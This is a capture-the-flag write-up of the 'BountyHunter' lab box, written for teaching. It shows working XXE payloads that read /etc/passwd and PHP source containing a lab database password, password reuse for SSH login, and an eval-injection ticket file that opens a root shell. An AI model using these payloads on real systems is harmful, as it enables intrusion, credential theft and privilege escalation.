BountyHunter
is an easy Linux box. To get initial access to the system, the BountyHunter Bug Report form has to be exploited. It is vulnerable to XXE, thus allowing us to include arbitrary files of the system into the website. Here, we made use of php-filters such that we can successfully leak php files. One of those files contained valid credentials of a user, which were to log into the system. To obtain root access, we had to exploit a command injection vulnerability in a custom made ticket software.
Enumeration
First, we start by scanning the target machine’s open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rustscan --ulimit 5000 10.129.184.123 -- sV -sC -oN nmap_scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLosZOXFZWvSPhPmfUE7v+PjfXGErY0KCPmAWrTUkyyFWRFO3gwHQMQqQUIcuZHmH20xMb+mNC6xnX2TRmsyaufPXLmib9Wn0BtEYbVDlu2mOdxWfr+LIO8yvB+kg2Uqg+QHJf7SfTvdO606eBjF0uhTQ95wnJddm7WWVJlJMng7+/1NuLAAzfc0ei14XtyS1u6gDvCzXPR5xus8vfJNSp4n4B5m4GUPqI7odyXG2jK89STkoI5MhDOtzbrQydR0ZUg2PRd5TplgpmapDzMBYCIxH6BwYXFgSU3u3dSxPJnIrbizFVNIbc9ezkF39K+xJPbc9CTom8N59eiNubf63iDOck9yMH+YGk8HQof8ovp9FAT7ao5dfeb8gH9q9mRnuMOOQ9SxYwIxdtgg6mIYh4PRqHaSD5FuTZmsFzPfdnvmurDWDqdjPZ6/CsWAkrzENv45b0F04DFiKYNLwk8xaXLum66w61jz4Lwpko58Hh+m0i4bs25wTH1VDMkguJ1js=
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKlGEKJHQ/zTuLAvcemSaOeKfnvOC4s1Qou1E0o9Z0gWONGE1cVvgk1VxryZn7A0L1htGGQqmFe50002LfPQfmY=
| 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJeoMhM6lgQjk6hBf+Lw/sWR4b1h8AEiDv+HAbTNk4J3
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The open ports are:
- 22 - SSH: no further information
- 80 - HTTP: A web application called “Bounty Hunters” hosted with Apache version 2.4.41
Port 80
Opening the webbrowser and accessing the hosted webapplication on port 80, we see a website with the name “Bounty Hunters”.
It tells us something about the idea of the “company”, provides a contact form as well as a portal. Visiting the portal, we are prompted with the message: “Portal under development. Go here to test the bounty tracker.”. Following the link, we can now test the Bounty Report System - Beta:
So let’s open BurpSuite and see what actually happens if we use the submit functionality of this Bounty Report System.
The values in the form are “test,test,test and test”. The resulting request looks as follows:
It’s a POST request to the endpoint /tracker_diRbPr00f314.php
(which is a very suspicious name), with a data parameter, that looks like the base64 encoding of our submitted data. Let’s decode it to see if this is the correct assumption:
Perfect! It’s indeed base64 encoding. But it’s an XML file … so let’s look at the client-side code to figure out what’s happening.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
When submitting the data, it creates an XML file in the bountySubmit
function. Afterwards, a POST request is sent to the endpoint tracker_diRbPr00f314.php
with the XML file as data. The Endpoint then evaluates the XML file and sends back a confirmation, which is then set as the htmldata of the HTML element with the id ‘#return’.
To someone who’s rather experienced with web-security, this is definitely a red-flag for XXE.
Further, we can scan for existing PHP files, maybe this will help us later:
1
2
3
4
5
┌─[✗]─[ctf@parrot]─[~/HTB/machines/bountyHunter]
└──╼ $ feroxbuster -u http://10.129.184.123 -w /usr/share/wordlists/dirb/common.txt -x php
200 0l 0w 0c http://10.129.184.112/db.php
200 388l 1470w 0c http://10.129.184.112/index.php
200 5l 15w 125c http://10.129.184.112/portal.php
Initial Foothold
So let’s try to manipulate the transmitted XML file, by including external entities.
We first create our proof-of-concept XML file, which should include the /etc/passwd
file as title.
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&example;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
Afterwards, we encode it with bas64 to: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KICAgICAgICAgICAgICAgIDwhRE9DVFlQRSByZXBsYWNlIFs8IUVOVElUWSBleGFtcGxlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4mZXhhbXBsZTs8L3RpdGxlPgoJCTxjd2U+dGVzdDwvY3dlPgoJCTxjdnNzPnRlc3Q8L2N2c3M+CgkJPHJld2FyZD50ZXN0PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+
and append it as data
parameter in our POST request to /tracker_diRbPr00f314.php
.
1
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KICAgICAgICAgICAgICAgIDwhRE9DVFlQRSByZXBsYWNlIFs8IUVOVElUWSBleGFtcGxlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4mZXhhbXBsZTs8L3RpdGxlPgoJCTxjd2U%2bdGVzdDwvY3dlPgoJCTxjdnNzPnRlc3Q8L2N2c3M%2bCgkJPHJld2FyZD50ZXN0PC9yZXdhcmQ%2bCgkJPC9idWdyZXBvcnQ%2b
Perfect! We have an XXE vulnerability that leads to LFI. Let’s see if we can obtain some important files such as SSH keys or the web application files.
Unfortunately there are no ssh files for the users. So let’s try to obtain the source code of the web application files with the following XXE payload:
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/PHP_FILE_NAME">]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
1) /tracker_diRbPr00f314.php
Output:
1
<td>PD9waHAKCmlmKGlzc2V0KCRfUE9TVFsnZGF0YSddKSkgewokeG1sID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2RhdGEnXSk7CmxpYnhtbF9kaXNhYmxlX2VudGl0eV9sb2FkZXIoZmFsc2UpOwokZG9tID0gbmV3IERPTURvY3VtZW50KCk7CiRkb20tPmxvYWRYTUwoJHhtbCwgTElCWE1MX05PRU5UIHwgTElCWE1MX0RURExPQUQpOwokYnVncmVwb3J0ID0gc2ltcGxleG1sX2ltcG9ydF9kb20oJGRvbSk7Cn0KPz4KSWYgREIgd2VyZSByZWFkeSwgd291bGQgaGF2ZSBhZGRlZDoKPHRhYmxlPgogIDx0cj4KICAgIDx0ZD5UaXRsZTo8L3RkPgogICAgPHRkPjw/cGhwIGVjaG8gJGJ1Z3JlcG9ydC0+dGl0bGU7ID8+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZD5DV0U6PC90ZD4KICAgIDx0ZD48P3BocCBlY2hvICRidWdyZXBvcnQtPmN3ZTsgPz48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkPlNjb3JlOjwvdGQ+CiAgICA8dGQ+PD9waHAgZWNobyAkYnVncmVwb3J0LT5jdnNzOyA/PjwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+UmV3YXJkOjwvdGQ+CiAgICA8dGQ+PD9waHAgZWNobyAkYnVncmVwb3J0LT5yZXdhcmQ7ID8+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgo=</td>
Base64 - Decoded:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if(isset($_POST['data'])) {
$xml = base64_decode($_POST['data']);
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$bugreport = simplexml_import_dom($dom);
}
?>
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td><?php echo $bugreport->title; ?></td>
</tr>
<tr>
<td>CWE:</td>
<td><?php echo $bugreport->cwe; ?></td>
</tr>
<tr>
<td>Score:</td>
<td><?php echo $bugreport->cvss; ?></td>
</tr>
<tr>
<td>Reward:</td>
<td><?php echo $bugreport->reward; ?></td>
</tr>
</table>
2) /log_submit.php
Output:
1
PGh0bWw+CjxoZWFkPgo8c2NyaXB0IHNyYz0iL3Jlc291cmNlcy9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9yZXNvdXJjZXMvYm91bnR5bG9nLmpzIj48L3NjcmlwdD4KPC9oZWFkPgo8Y2VudGVyPgo8aDE+Qm91bnR5IFJlcG9ydCBTeXN0ZW0gLSBCZXRhPC9oMT4KPGlucHV0IHR5cGU9InRleHQiIGlkID0gImV4cGxvaXRUaXRsZSIgbmFtZT0iZXhwbG9pdFRpdGxlIiBwbGFjZWhvbGRlcj0iRXhwbG9pdCBUaXRsZSI+Cjxicj4KPGlucHV0IHR5cGU9InRleHQiIGlkID0gImN3ZSIgbmFtZT0iY3dlIiBwbGFjZWhvbGRlcj0iQ1dFIj4KPGJyPgo8aW5wdXQgdHlwZT0idGV4dCIgaWQgPSAiY3ZzcyIgbmFtZT0iZXhwbG9pdENWU1MiIHBsYWNlaG9sZGVyPSJDVlNTIFNjb3JlIj4KPGJyPgo8aW5wdXQgdHlwZT0idGV4dCIgaWQgPSAicmV3YXJkIiBuYW1lPSJib3VudHlSZXdhcmQiIHBsYWNlaG9sZGVyPSJCb3VudHkgUmV3YXJkICgkKSI+Cjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgb25jbGljayA9ICJib3VudHlTdWJtaXQoKSIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0ic3VibWl0Ij4KPGJyPgo8cCBpZCA9ICJyZXR1cm4iPjwvcD4KPGNlbnRlcj4KPC9odG1sPgo=
Base64-Decoded:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<head>
<script src="/resources/jquery.min.js"></script>
<script src="/resources/bountylog.js"></script>
</head>
<center>
<h1>Bounty Report System - Beta</h1>
<input type="text" id = "exploitTitle" name="exploitTitle" placeholder="Exploit Title">
<br>
<input type="text" id = "cwe" name="cwe" placeholder="CWE">
<br>
<input type="text" id = "cvss" name="exploitCVSS" placeholder="CVSS Score">
<br>
<input type="text" id = "reward" name="bountyReward" placeholder="Bounty Reward ($)">
<br>
<input type="submit" onclick = "bountySubmit()" value="Submit" name="submit">
<br>
<p id = "return"></p>
<center>
</html>
3) /portal.php
Output:
1
PGh0bWw+CjxjZW50ZXI+ClBvcnRhbCB1bmRlciBkZXZlbG9wbWVudC4gR28gPGEgaHJlZj0ibG9nX3N1Ym1pdC5waHAiPmhlcmU8L2E+IHRvIHRlc3QgdGhlIGJvdW50eSB0cmFja2VyLgo8L2NlbnRlcj4KPC9odG1sPgo=
Base64-Decoded:
1
2
3
4
5
<html>
<center>
Portal under development. Go <a href="log_submit.php">here</a> to test the bounty tracker.
</center>
</html>
4) /db.php (we found this during enumeration)
Output:
1
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
Base64-Decoded:
1
2
3
4
5
6
7
8
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
Great! A leaked password! Let’s try this for the user development
which we previously leaked when we included the /etc/passwd file via XXE.
It works! We now have full access to the user development
.
1
2
3
development@bountyhunter:~$ hostname && id
bountyhunter
uid=1000(development) gid=1000(development) groups=1000(development)
Privilege Escalation
First let’s start with the very basic stuff: Capabiltities, SUID files and Sudo commands:
1) Checking capabilities:
1
2
3
4
5
development@bountyhunter:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
Nothing interesting.
2) Checking SUID files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
development@bountyhunter:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/bcred
/usr/bin/su
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/mount
/usr/bin/passwd
Nothing interesting either.
3) Checking allowed commands on the current host as sudo:
1
2
3
4
5
6
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.p
Perfect! So there is a file which we can execute with root permissions.
It has the following permissions:
1
2
development@bountyhunter:~$ ls -la /opt/skytrain_inc/ticketValidator.py
-r-xr--r-- 1 root root 1471 Jul 22 11:25 /opt/skytrain_inc/ticketValidator.py
So we can basically only execute it without modifying it. Sad…. Let’s take a look at the python script. Maybe we can exploit something within the code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Exactly as I thought… here we have unsanitized user-input (through the markdown file) as parameter for an eval. So let’s understand what the program expects and then we can craft an exploit.
1) First it checks if the input file has the .md
ending
2) If so, then it checks if the first line starts with # Skytrain Inc
3) If so, then it checks if the second line starts with ## Ticket to
and prints the Destination (which is the part after the Ticket to
separated with a white space)
4) If everything works, then it checks if the next line starts with **
5) If so, then it checks if the first part is a number that fulfills the equation number mod 7 == 4
.. so that’s basically any number y
that’s y= 4 + (x * 7)
for any x
in Z, for example the number 11
.
6) If the first part fulfills the condition, then it removes the **
from the beginning and uses the complete line as parameter for the eval
function. So here’s the vulnerability! We can basically append any valid python code here, which will then be executed with root privileges. Let’s craft the exploit.
File: /tmp/ticket.md
1
2
3
4
# Skytrain Inc
## Ticket to Test
__Ticket Code:__
**11 + __import__('os').system('/bin/bash')
Run the exploit:
1
2
3
4
5
6
7
development@bountyhunter:/opt/skytrain_inc$ sudo -u root /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: Test
root@bountyhunter:~# hostname && id
bountyhunter
uid=0(root) gid=0(root) groups=0(root)
There we go! We are root!